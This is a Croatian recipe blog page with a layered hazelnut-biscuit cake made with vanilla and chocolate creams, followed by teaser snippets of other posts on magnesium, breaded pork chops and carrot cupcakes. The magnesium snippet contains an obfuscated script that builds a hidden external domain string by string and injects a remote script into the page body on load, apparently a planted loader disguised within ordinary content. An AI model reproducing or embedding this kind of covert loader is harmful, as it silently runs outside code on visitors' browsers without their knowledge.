CRNO - BIJELA FANTAZIJA





Crno - bijela fantazija 



Ako tražite desert koji spaja mekani biskvit, bogate kreme i čokoladnu glazuru, "crno-bijela fantazija" mogla bi biti pravi izbor. Ovaj slojeviti kolač sastoji se od dva biskvita s lješnjacima, svijetle vanilija kreme, tamne čokoladne kreme i završnog sloja glazure.





Crno - bijela fantazija 


Sastojci za biskvit:

  • 6 jaja
  • 80 g šećera
  • 60 g oštrog brašna
  • 4 žlice ulja
  • 15 g kakaa u prahu
  • 1 žličica praška za pecivo
  • 80 g pečenih mljevenih lješnjaka


Sastojci za svijetlu kremu:

  • 800 ml mlijeka
  • 80 g gustina
  • 100 g šećera
  • 1 vanilin šećer
  • 250 g maslaca


Sastojci za tamnu kremu:

  • 500 ml slatkog vrhnja
  • 300 g čokolade za kuhanje


Sastojci za glazuru:

  • 150 g čokolade za kuhanje
  • 50 g maslaca



Priprema:

Najprije pripremite svijetlu kremu. Gustin pomiješajte sa šećerom, vanilin šećerom i 12 žlica mlijeka. Ostatak mlijeka zagrijte do vrenja, zatim umiješajte pripremljenu smjesu i kuhajte uz stalno miješanje dok se krema ne zgusne. Ostavite da se ohladi, a potom je sjedinite s prethodno umućenim maslacem sobne temperature.

Za biskvit kratko prepecite lješnjake, uklonite im kožicu i sameljite ih. Jaja i šećer pjenasto umutite, dodajte ulje, a zatim brašno, prašak za pecivo, kakao i lješnjake. Smjesu podijelite na dva jednaka dijela i pecite u kalupu dimenzija 24 x 24 centimetra na 180 stupnjeva oko 15 do 20 minuta.

Kada se biskviti potpuno ohlade, jedan stavite u kalup i premažite svijetlom kremom. Poklopite drugim biskvitom.

Za tamnu kremu zagrijte slatko vrhnje, dodajte čokoladu i miješajte dok se potpuno ne otopi. Lagano ohlađenu kremu prelijte preko kolača te ga stavite u hladnjak da se stegne.

Na kraju pripremite glazuru tako da otopite čokoladu i maslac te ravnomjerno prelijete preko kolača. Nakon što se glazura stvrdne, kolač je spreman za posluživanje.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više